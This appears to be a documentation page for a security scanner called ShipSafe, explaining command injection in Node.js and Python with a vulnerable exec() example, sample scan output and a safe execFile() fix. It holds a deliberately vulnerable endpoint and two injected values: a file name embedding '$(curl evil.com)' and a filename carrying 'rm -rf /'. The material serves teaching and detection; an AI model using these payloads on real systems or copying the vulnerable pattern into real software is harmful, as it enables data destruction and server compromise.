Command Injection Detection — ShipSafe

What is Command Injection?

Command injection occurs when an application passes untrusted user input to a system shell command. Attackers can execute arbitrary commands on the server, potentially taking full control of the system, reading sensitive files, or pivoting to other systems on the network.

Why It Matters

Command injection gives attackers direct operating system access with the privileges of your application process. They can read /etc/passwd, dump environment variables (which often contain database passwords and API keys), install backdoors, pivot to internal network services, or wipe the filesystem entirely. In containerized deployments, a command injection can be the first step toward container escape. This is a "game over" vulnerability — one successful exploit typically compromises the entire server.

What ShipSafe Detects

• ✓exec() and execSync() with user-controlled arguments — the most common pattern in Node.js
• ✓child_process.spawn() with shell: true and user input (spawn is safe by default, but shell: true re-enables the risk)
• ✓Template literals or string concatenation in shell commands passed to exec, execSync, or spawn
• ✓Argument injection through unsanitized flags (e.g., a user-supplied --output flag that includes shell metacharacters)
• ✓PATH manipulation via environment variable injection
• ✓Python os.system(), subprocess.call(), and subprocess.run() with shell=True
• ✓Indirect command injection through user-controlled file names (e.g., a file named '$(curl evil.com)'.pdf)

Example: Vulnerable Code

Vulnerable file conversion endpoint with command injection

// Vulnerable: user input in shell command
app.post("/convert", async (req, res) => {
  const { filename } = req.body;
  const { exec } = require("child_process");
  exec(`ffmpeg -i uploads/${filename} output.mp4`, (err, stdout) => {
    res.json({ status: "converted" });
  });
});

// An attacker sends filename: "video.mp4; rm -rf /"
// The shell interprets the semicolon as a command separator
// and executes: ffmpeg -i uploads/video.mp4; rm -rf / output.mp4

ShipSafe Catches It

$ shipsafe scan

  CRITICAL  command-injection/exec-with-user-input
  src/routes/convert.ts:4
  User input from req.body is interpolated into shell command via exec().
  Fix: Use execFile() with an argument array instead of exec() with string interpolation.
  execFile("ffmpeg", ["-i", `uploads/${filename}`, "output.mp4"])

What to Do Instead

Safe alternative: execFile with argument array and input validation

// SAFE: execFile with argument array (no shell involved)
const { execFile } = require("child_process");

app.post("/convert", async (req, res) => {
  const { filename } = req.body;

  // Validate the filename — allow only alphanumeric, dash, underscore, dot
  if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
    return res.status(400).json({ error: "Invalid filename" });
  }

  // execFile does NOT use a shell — arguments are passed directly
  // Shell metacharacters like ; | & ` $() have no effect
  execFile(
    "ffmpeg",
    ["-i", `uploads/${filename}`, "output.mp4"],
    (err, stdout) => {
      if (err) return res.status(500).json({ error: "Conversion failed" });
      res.json({ status: "converted" });
    }
  );
});

Frequently Asked Questions

Related Security Categories